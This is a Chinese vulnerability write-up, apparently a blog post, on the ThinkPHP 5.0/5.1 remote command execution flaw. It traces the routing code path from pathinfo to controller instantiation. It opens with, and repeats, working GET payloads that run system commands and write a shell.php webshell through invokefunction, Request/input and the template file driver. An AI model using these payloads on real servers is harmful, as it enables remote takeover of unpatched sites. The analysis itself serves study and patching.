php远程读写漏洞利用,ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析

0x01 漏洞利用方式

5.0版本POC(不唯一)

命令执行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]

文件写入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

5.1版本POC(不唯一)

命令执行:?s=index/\think\Request/input&filter=system&data=[系统命令]

文件写入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

0x02 漏洞分析

版本: Thinkphp v5.1.29(影响版本<5.1.31和<5.0.23)

本次分析环境:PHP/7.0.12 + Apache2

ThinkPHP官方在12月9日发布了5.*版本的更新,更新说明“由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞”,所以漏洞的触发在路由调度时,thinkphp中由函数pathinfo()来获取路由,定位函数查看:/thinkphp/library/think/Request.php:678行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

pathinfo()

其中在文件31行定义了var_pathinfo的默认值为s :

// PATHINFO变量名 用于兼容模式

'var_pathinfo' => 's'

所以当请求报文中以GET形式传入s参数是,则将其值作为pathinfo。全局查找pathinfo()函数的调用情况,可以发现同文件下path函数对其进行调用,定位path()函数查看:/thinkphp/library/think/Request.php:716行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

path()

调用pathinfo()函数获取路由信息,并将返回值赋值给了$this->path,所以我们可以控制该变量,即path()函数的返回值,继续跟踪path函数的调用情况,定位函数routecheck():/thinkphp/library/think/App.php:583行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

routecheck()

该函数进行路由检测,且将我们可控的$path变量传递到了check()函数中进行处理,定位查看check()函数:/thinkphp/library/think/Route.php:877行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

check()

这里我们就可以看出为何官方说明,在开启强制路由的情况下不受该漏洞的影响,如果开启强制路由,则check处理传入的由我们构造的$url变量时会实例化RouteNotFoundException对象,即报出对应的错误。

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

RouteNotFoundException

而默认路由解析情况下,check()函数实例化了UrlDispatch对象,并将$url传递给了构造函数进行处理,UrlDispatch继承Dispatch,分析其父类Dispatch的构造函数,跟踪查看:library/think/route/Dispatch.php:64行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

Dispatch构造函数

传入的$dispatch变量值赋值给了$this->dispatch,全局收索$this->diapatch的处理情况,最终会传入Url类中的init()函数进行处理,跟踪查看init()函数:/thinkphp/library/think/route/dispatch/Url.php:20行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

Url类的init()

init()函数调用parseUrl()函数对$this->diapatch变量进行处理,跟踪查看:/thinkphp/library/think/route/dispatch/Url.php:37行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

parseUrl()

ParseUrl()函数又将变量传入到了parseUrlPath()函数中,继续定位查看parseUrlPath()函数:/thinkphp/library/think/route/Rule.php:951行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

parseUrlPath()

利用‘/’对$url变量进行分割,且$url的格式为‘模块/控制器/操作’,将$url分割后的值存放在$path变量当中,并返回到parseUrl()函数,最终返回到Url类中init()函数: /thinkphp/library/think/route/dispatch/Url.php:20行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

Url类的init()

最终分割后封装好的路由信息数组传递到了$result变量中,随后传递到了Module的构造函数进行处理,由于Module的父类也是Dispatch,即将$result值传递给了变量$this->dispatch,随后调用Module类的init()函数对$this->dispatch进行处理,定位查看:/thinkphp/library/think/route/dispatch/Module.php:27行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

Module类的init()

在初始化模块的判断语句中,对$module进行判断,则需要$available的值为true,即需要is_dir($this->app->getAppPath() . $module 的判断条件成立,由于默认模块是index,所以入口模块为index,也可以用‘.’进行替换。$this->dispatch的值最终传递到$this->controller中,init()函数处理完过后,进入exec()函数,查看函数代码: /thinkphp/library/think/route/dispatch/Module.php:85行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

exec()

exec()函数将变量$this->controller传递给了controller()函数进行处理,继续跟踪controller()进行查看:/thinkphp/library/think/App.php:720行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

controller()

该函数中的$name变量是由我们控制的,随后调用parseModuleAndClass()函数对其进行出来,跟进parseModuleAndClass()函数:/thinkphp/library/think/App.php:641行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

parseModuleAndClass()

当$name中存在’\’时,直接将$name值赋给$class,然后实例化$class,并返回,这里可能有些人不知道为什么会实例化$class,在parseModuleAndClass()函数执行后返回到controller()函数中

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

controller()

其中返回了$class变量,所以调用魔术方法__get()函数进行处理,App类是继承于Container的,所以可以去查看Container类中的魔术方法__get()

public function __get($name)

{

return $this->make($name);

}

__get()调用了make()函数,跟踪查看:/thinkphp/library/think/Container.php:260行

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

make()

make()将传入的传入的变量实例化为一个类,即controller()中$name为我们可以控制的值,可以通过构造$name变量来实例化任何一个类,所以我们可以通过构造s=index/\think\class/method来实例化\think\class类并且执行该类的method方法达到控制程序流,由于Rule.php中parseUrlPath()函数中:

$url = str_replace('|', '/', $url);

所以也可以使用’|’进行进行构造,即index|\think\class|method。在\think\Request类中找到可以利用的方法input:

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

input()

通过构造payload:

s=index/\think\Request/input&filter=phpinfo&data=1

即可调用phpinfo函数,调用system()函数便可以任意命令执行。

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

phpinfo

在\think\template\driver\file类中找到可以任意写文件的方法write:

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

write()

所以通过构造payload:

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

写入文件

便可以在网站根目录写入任意恶意文件,从而达到控制目标服务器的目的,可以调用进行恶意操作的类比较多。

对于Thinkphp5.0版本的,其路由控制器实现原理是一样的,只是各种调用方式和函数名不太相同,这里不详细分析,漏洞利用时调用的方法不一样,通过查找可以利用app类中的invokeFunction方法:

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

invokeFunction()

通过实例化ReflectionFunction类,调用function函数,由于变量$var为数组,所以可以构造payload:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

phpinfo

通过构造payload:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

便可以达到任意写的目的:

46ceb2c338bc?tdsourcetag=s_pctim_aiomsg

写入文件

同5.1版本一样,其parseUrlPath函数在处理$url时也进行了替换处理:

$url = str_replace('|', '/', $url);

所以payload中的’/’也可以利用’|’进行替换。该漏洞的利用方法不唯一,针对Thinkphp5.*的不同版本可以寻找不同的类进行调用。

漏洞分析仅用于学习!!!一切实际攻击利用行为概不负责。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值